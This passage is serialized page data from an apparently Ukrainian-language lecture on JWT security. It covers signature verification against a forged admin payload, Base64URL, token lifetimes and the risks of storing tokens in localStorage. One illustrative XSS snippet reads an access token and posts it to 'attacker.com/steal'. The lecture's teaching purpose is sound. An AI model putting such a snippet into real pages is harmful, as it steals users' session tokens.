fakePayload",[5292,10177,5539],{"class":5388},[5292,10179,8229],{"class":5542},[5292,10181,10182],{"class":5401}," 'admin'",[5292,10184,5221],{"class":5388},[5292,10186,10187],{"class":5542},"roles:",[5292,10189,5751],{"class":5388},[5292,10191,10192],{"class":5401},"'admin'",[5292,10194,10195],{"class":5388},"] };\n",[5292,10197,10198,10200,10203,10205,10207,10209,10211,10213,10215,10217,10219,10221,10223,10225,10228,10231,10233,10235,10238],{"class":5294,"line":5307},[5292,10199,5532],{"class":5531},[5292,10201,10202],{"class":5535}," fakeToken",[5292,10204,5567],{"class":5388},[5292,10206,9079],{"class":5542},[5292,10208,5908],{"class":5388},[5292,10210,5911],{"class":5401},[5292,10212,5908],{"class":5388},[5292,10214,5571],{"class":5570},[5292,10216,5574],{"class":5388},[5292,10218,5577],{"class":5535},[5292,10220,5580],{"class":5388},[5292,10222,5583],{"class":5570},[5292,10224,5574],{"class":5388},[5292,10226,10227],{"class":5542},"fakePayload",[5292,10229,10230],{"class":5388},")) + ",[5292,10232,5911],{"class":5401},[5292,10234,5908],{"class":5388},[5292,10236,10237],{"class":5542},"originalSignature",[5292,10239,6085],{"class":5388},[5292,10241,10242],{"class":5294,"line":5313},[5292,10243,6091],{"emptyLinePlaceholder":6090},[5292,10245,10246],{"class":5294,"line":5319},[5292,10247,10248],{"class":5596},"\u002F\u002F Сервер при верифікації\n",[5292,10250,10251,10253,10256,10258,10260,10262,10264,10266,10268,10270,10273,10275,10277],{"class":5294,"line":5325},[5292,10252,5532],{"class":5531},[5292,10254,10255],{"class":5535}," computedSignature",[5292,10257,5567],{"class":5388},[5292,10259,5897],{"class":5570},[5292,10261,5574],{"class":5388},[5292,10263,9079],{"class":5542},[5292,10265,5908],{"class":5388},[5292,10267,5911],{"class":5401},[5292,10269,5908],{"class":5388},[5292,10271,10272],{"class":5542},"encodedFakePayload",[5292,10274,5221],{"class":5388},[5292,10276,6274],{"class":5535},[5292,10278,5928],{"class":5388},[5292,10280,10281],{"class":5294,"line":5331},[5292,10282,10283],{"class":5596},"\u002F\u002F computedSignature ≠ originalSignature → токен недійсний\n",[5089,10285,10286,10287,10290,10291,10294],{},"Для підробки токена потрібен ",[5099,10288,10289],{},"секретний ключ"," (для HMAC) або ",[5099,10292,10293],{},"приватний ключ"," (для RSA), без яких неможливо створити дійсний підпис.",[10148,10296,10298,10301,10318,10323,10346],{"icon":10150,"label":10297},"❓ Чому Base64URL, а не звичайний Base64?",[5089,10299,10300],{},"Стандартне Base64 кодування генерує символи, що мають спеціальне значення у URL та HTTP-заголовках:",[5093,10302,10303,10308,10313],{},[5096,10304,10305,10307],{},[5110,10306,5216],{}," інтерпретується як пробіл у URL query parameters.",[5096,10309,10310,10312],{},[5110,10311,5224],{}," є роздільником шляхів у URL.",[5096,10314,10315,10317],{},[5110,10316,5231],{}," використовується для padding і має спеціальне значення у URL-encoding.",[5089,10319,10320,10322],{},[5099,10321,5518],{}," замінює ці символи на безпечні альтернативи:",[5093,10324,10325,10333,10340],{},[5096,10326,10327,10329,10330,10332],{},[5110,10328,5216],{}," → ",[5110,10331,5220],{}," (дефіс)",[5096,10334,10335,10329,10337,10339],{},[5110,10336,5224],{},[5110,10338,5227],{}," (підкреслення)",[5096,10341,10342,10343,10345],{},"Видаляє ",[5110,10344,5231],{}," (padding)",[5089,10347,10348,10349,10352],{},"Це дозволяє передавати JWT токени у URL (наприклад, ",[5110,10350,10351],{},"\u002Freset-password?token=...",") та HTTP-заголовках без додаткового URL-encoding.",[10148,10354,10356,10359,10365,10371,10377,10383],{"icon":10150,"label":10355},"❓ Як довго має жити access token для оптимального балансу безпека\u002FUX?",[5089,10357,10358],{},"Немає універсальної відповіді — це залежить від критичності застосунку та толерантності користувачів до повторних входів:",[5089,10360,10361,10364],{},[5099,10362,10363],{},"Онлайн-банкінг, фінансові системи:"," 5–10 хвилин (максимальна безпека).",[5089,10366,10367,10370],{},[5099,10368,10369],{},"Корпоративні системи (CRM, ERP):"," 15–30 хвилин (баланс між безпекою та зручністю офісних співробітників).",[5089,10372,10373,10376],{},[5099,10374,10375],{},"Соціальні мережі, e-commerce:"," 1–2 години (пріоритет UX над безпекою).",[5089,10378,10379,10382],{},[5099,10380,10381],{},"Публічні API для мобільних застосунків:"," 15 хвилин access token + 30 днів refresh token (автоматичне оновлення без втручання користувача).",[5089,10384,10385,10388],{},[5099,10386,10387],{},"Золотий стандарт:"," 15 хвилин access token з механізмом refresh tokens. Це забезпечує прийнятне вікно вразливості та seamless UX через автоматичне оновлення токенів на фоні.",[10148,10390,10392,10402,10486,10491,10511],{"icon":10150,"label":10391},"❓ Чи безпечно зберігати токени у localStorage?",[5089,10393,10394,10397,10398,10401],{},[5099,10395,10396],{},"Категорично ні"," для критичних застосунків. localStorage доступне для будь-якого JavaScript коду на сторінці через ",[5110,10399,10400],{},"localStorage.getItem('token')",". Успішна XSS атака (впровадження шкідливого скрипту через незахищене поле вводу або компрометовану сторонню бібліотеку) дозволяє зловмиснику викрасти токен:",[5262,10403,10407],{"className":10404,"code":10405,"language":10406,"meta":5270,"style":5270},"language-javascript shiki shiki-themes light-plus dark-plus dark-plus","\u002F\u002F Шкідливий скрипт, впроваджений через XSS\nconst stolenToken = localStorage.getItem('accessToken');\nfetch('https:\u002F\u002Fattacker.com\u002Fsteal', {\n  method: 'POST',\n  body: JSON.stringify({ token: stolenToken }),\n});\n","javascript",[5110,10408,10409,10414,10438,10450,10460,10482],{"__ignoreMap":5270},[5292,10410,10411],{"class":5294,"line":5295},[5292,10412,10413],{"class":5596},"\u002F\u002F Шкідливий скрипт, впроваджений через XSS\n",[5292,10415,10416,10418,10421,10423,10426,10428,10431,10433,10436],{"class":5294,"line":5301},[5292,10417,5532],{"class":5531},[5292,10419,10420],{"class":5535}," stolenToken",[5292,10422,5567],{"class":5388},[5292,10424,10425],{"class":5542},"localStorage",[5292,10427,5580],{"class":5388},[5292,10429,10430],{"class":5570},"getItem",[5292,10432,5574],{"class":5388},[5292,10434,10435],{"class":5401},"'accessToken'",[5292,10437,5928],{"class":5388},[5292,10439,10440,10443,10445,10448],{"class":5294,"line":5307},[5292,10441,10442],{"class":5570},"fetch",[5292,10444,5574],{"class":5388},[5292,10446,10447],{"class":5401},"'https:\u002F\u002Fattacker.com\u002Fsteal'",[5292,10449,6277],{"class":5388},[5292,10451,10452,10455,10458],{"class":5294,"line":5313},[5292,10453,10454],{"class":5542},"  method:",[5292,10456,10457],{"class":5401}," 'POST'",[5292,10459,5405],{"class":5388},[5292,10461,10462,10465,10468,10470,10472,10474,10477,10479],{"class":5294,"line":5319},[5292,10463,10464],{"class":5542},"  body:",[5292,10466,10467],{"class":5535}," JSON",[5292,10469,5580],{"class":5388},[5292,10471,5583],{"class":5570},[5292,10473,8226],{"class":5388},[5292,10475,10476],{"class":5542},"token:",[5292,10478,10420],{"class":5542},[5292,10480,10481],{"class":5388}," }),\n",[5292,10483,10484],{"class":5294,"line":5325},[5292,10485,8600],{"class":5388},[5089,10487,10488],{},[5099,10489,10490],{},"Альтернативи:",[5958,10492,10493,10499,10505],{},[5096,10494,10495,10498],{},[5099,10496,10497],{},"HttpOnly Cookies:"," токен недоступний для JavaScript, передається автоматично браузером.",[5096,10500,10501,10504],{},[5099,10502,10503],{},"In-Memory зберігання:"," токен зберігається у змінній JavaScript (втрачається при оновленні сторінки, але безпечніший за localStorage).",[5096,10506,10507,10510],{},[5099,10508,10509],{},"Service Workers:"," токен зберігається у відокремленому контексті, недоступному для головного потоку.",[5089,10512,10513,10514,5609,10517,10520],{},"Для продакшену рекомендується ",[5099,10515,10516],{},"HttpOnly Cookies для refresh token",[5099,10518,10519],{},"in-memory зберігання для access token"," з автоматичним оновленням через refresh endpoint.",[5169,10522],{},[5084,10524,10526],{"id":10525},"ключові-висновки","Ключові висновки",[5172,10528,10529,10537,10549,10553],{},[5175,10530,10532,10533,10536],{"icon":943,"title":10531},"📦 Структура трьох частин","JWT складається з Header (метадані та алгоритм), Payload (claims про користувача) та Signature (криптографічний підпис). Кожна частина кодується у Base64URL та розділяється крапками. Токени є ",[5099,10534,10535],{},"підписаними, але не зашифрованими"," — payload читабельний для всіх.",[5175,10538,10540,10542,10543,10545,10546,10548],{"icon":4574,"title":10539},"🔐 Вибір алгоритму",[5099,10541,5463],{}," (HMAC) — простота та швидкість для монолітних застосунків. ",[5099,10544,5467],{}," (RSA) — стандарт для мікросервісів та OAuth 2.0, дозволяє делеговану верифікацію через публічний ключ. ",[5099,10547,5471],{}," (ECDSA) — баланс між швидкістю та безпекою для high-performance систем.",[5175,10550,10552],{"icon":4221,"title":10551},"⏰ Короткий TTL та Refresh Tokens","Access токени мають бути короткоживучими (5–15 хвилин) для обмеження вікна вразливості при компрометації. Refresh токени з довгим TTL (7–30 днів) дозволяють автоматично оновлювати access токени без повторного входу користувача.",[5175,10554,10557],{"icon":10555,"title":10556},"i-lucide-alert-triangle","🚫 Проблема відкликання","Stateless природа JWT унеможливлює миттєве відкликання токенів без додаткових механізмів. Рішення: blacklist у Redis (втрата stateless переваг), refresh token rotation (баланс) або real-time push invalidation (складність).",[5169,10559],{},[5084,10561,10563],{"id":10562},"рекомендовані-ресурси-для-поглибленого-вивчення","Рекомендовані ресурси для поглибленого вивчення",[5093,10565,10566,10572,10578,10584,10590],{},[5096,10567,10568,10571],{},[5099,10569,10570],{},"RFC 7519 — JSON Web Token (JWT):"," офіційна специфікація стандарту з детальним описом структури, claims та процесу верифікації.",[5096,10573,10574,10577],{},[5099,10575,10576],{},"JWT.io:"," інтерактивний інструмент для декодування, верифікації та генерації JWT токенів з підтримкою різних алгоритмів підпису.",[5096,10579,10580,10583],{},[5099,10581,10582],{},"OWASP JWT Security Cheat Sheet:"," найкращі практики безпеки JWT від Open Web Application Security Project, включно з захистом від типових атак.",[5096,10585,10586,10589],{},[5099,10587,10588],{},"RFC 7517 — JSON Web Key (JWK):"," стандарт для представлення криптографічних ключів у JSON форматі, використовується для публікації публічних ключів через JWKS endpoints.",[5096,10591,10592,10595],{},[5099,10593,10594],{},"Auth0 JWT Handbook:"," вичерпний посібник з теорії та практики використання JWT у сучасних застосунках.",[5599,10597,10598,10599,10602,10603,10606],{},"У наступній лекції ми детально розглянемо ",[5099,10600,10601],{},"практичну інтеграцію JWT у NestJS"," через модуль ",[5110,10604,10605],{},"@nestjs\u002Fjwt"," — генерацію токенів при логіні, створення JwtAuthGuard для захисту маршрутів, витягування даних користувача з токена через декоратори та налаштування глобальної автентифікації. Ви реалізуєте повноцінну систему token-based автентифікації від початку до кінця.",[10608,10609,10610],"style",{},"html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sHH4Y, html code.shiki .sHH4Y{--shiki-light:#000000;--shiki-default:#D4D4D4;--shiki-dark:#D4D4D4}html pre.shiki code .sLwNe, html code.shiki .sLwNe{--shiki-light:#0451A5;--shiki-default:#9CDCFE;--shiki-dark:#9CDCFE}html pre.shiki code .sbdoH, html code.shiki .sbdoH{--shiki-light:#A31515;--shiki-default:#CE9178;--shiki-dark:#CE9178}html pre.shiki code .su1O8, html code.shiki .su1O8{--shiki-light:#0000FF;--shiki-default:#569CD6;--shiki-dark:#569CD6}html pre.shiki code .s-QsJ, html code.shiki .s-QsJ{--shiki-light:#0070C1;--shiki-default:#4FC1FF;--shiki-dark:#4FC1FF}html pre.shiki code .siwwj, html code.shiki .siwwj{--shiki-light:#001080;--shiki-default:#9CDCFE;--shiki-dark:#9CDCFE}html pre.shiki code .s8Opu, html code.shiki .s8Opu{--shiki-light:#795E26;--shiki-default:#DCDCAA;--shiki-dark:#DCDCAA}html pre.shiki code .spJ8K, html code.shiki .spJ8K{--shiki-light:#008000;--shiki-default:#6A9955;--shiki-dark:#6A9955}html pre.shiki code .sJj4R, html code.shiki .sJj4R{--shiki-light:#098658;--shiki-default:#B5CEA8;--shiki-dark:#B5CEA8}html pre.shiki code .s8xlr, html code.shiki .s8xlr{--shiki-light:#AF00DB;--shiki-default:#C586C0;--shiki-dark:#C586C0}html pre.shiki code .sD7JJ, html code.shiki .sD7JJ{--shiki-light:#000000FF;--shiki-default:#D4D4D4;--shiki-dark:#D4D4D4}html pre.shiki code .sN1BT, html code.shiki .sN1BT{--shiki-light:#267F99;--shiki-default:#4EC9B0;--shiki-dark:#4EC9B0}",{"title":5270,"searchDepth":5301,"depth":5301,"links":10612},[10613,10614,10620,10624,10629,10633,10638,10643,10644,10645],{"id":5086,"depth":5301,"text":5087},{"id":5248,"depth":5301,"text":5249,"children":10615},[10616,10617,10618,10619],{"id":5256,"depth":5307,"text":5257},{"id":5372,"depth":5307,"text":5373},{"id":5623,"depth":5307,"text":5624},{"id":5876,"depth":5307,"text":5877},{"id":5999,"depth":5301,"text":6000,"children":10621},[10622,10623],{"id":6006,"depth":5307,"text":6007},{"id":6428,"depth":5307,"text":6429},{"id":6968,"depth":5301,"text":6969,"children":10625},[10626,10627,10628],{"id":6982,"depth":5307,"text":6983},{"id":7331,"depth":5307,"text":7332},{"id":7935,"depth":5307,"text":7936},{"id":8083,"depth":5301,"text":8084,"children":10630},[10631,10632],{"id":8094,"depth":5307,"text":8095},{"id":8143,"depth":5307,"text":8144},{"id":8930,"depth":5301,"text":8931,"children":10634},[10635,10636,10637],{"id":8937,"depth":5307,"text":8938},{"id":9045,"depth":5307,"text":9046},{"id":9347,"depth":5307,"text":9348},{"id":9601,"depth":5301,"text":9602,"children":10639},[10640,10641,10642],{"id":9608,"depth":5307,"text":9609},{"id":9730,"depth":5307,"text":9731},{"id":9854,"depth":5307,"text":9855},{"id":10142,"depth":5301,"text":10143},{"id":10525,"depth":5301,"text":10526},{"id":10562,"depth":5301,"text":10563},"md",null,{},{"title":4591,"description":5270},"5CBAOAjxE5qmmCQlVXAv-iAMRiN6FbqsrqkqjlYkK_o",[10652,10653],{"title":4587,"path":4588,"stem":4589,"description":5270,"children":-1},{"title":4595,"path":4596,"stem":4597,"description":5270,"children":-1},1790322274798]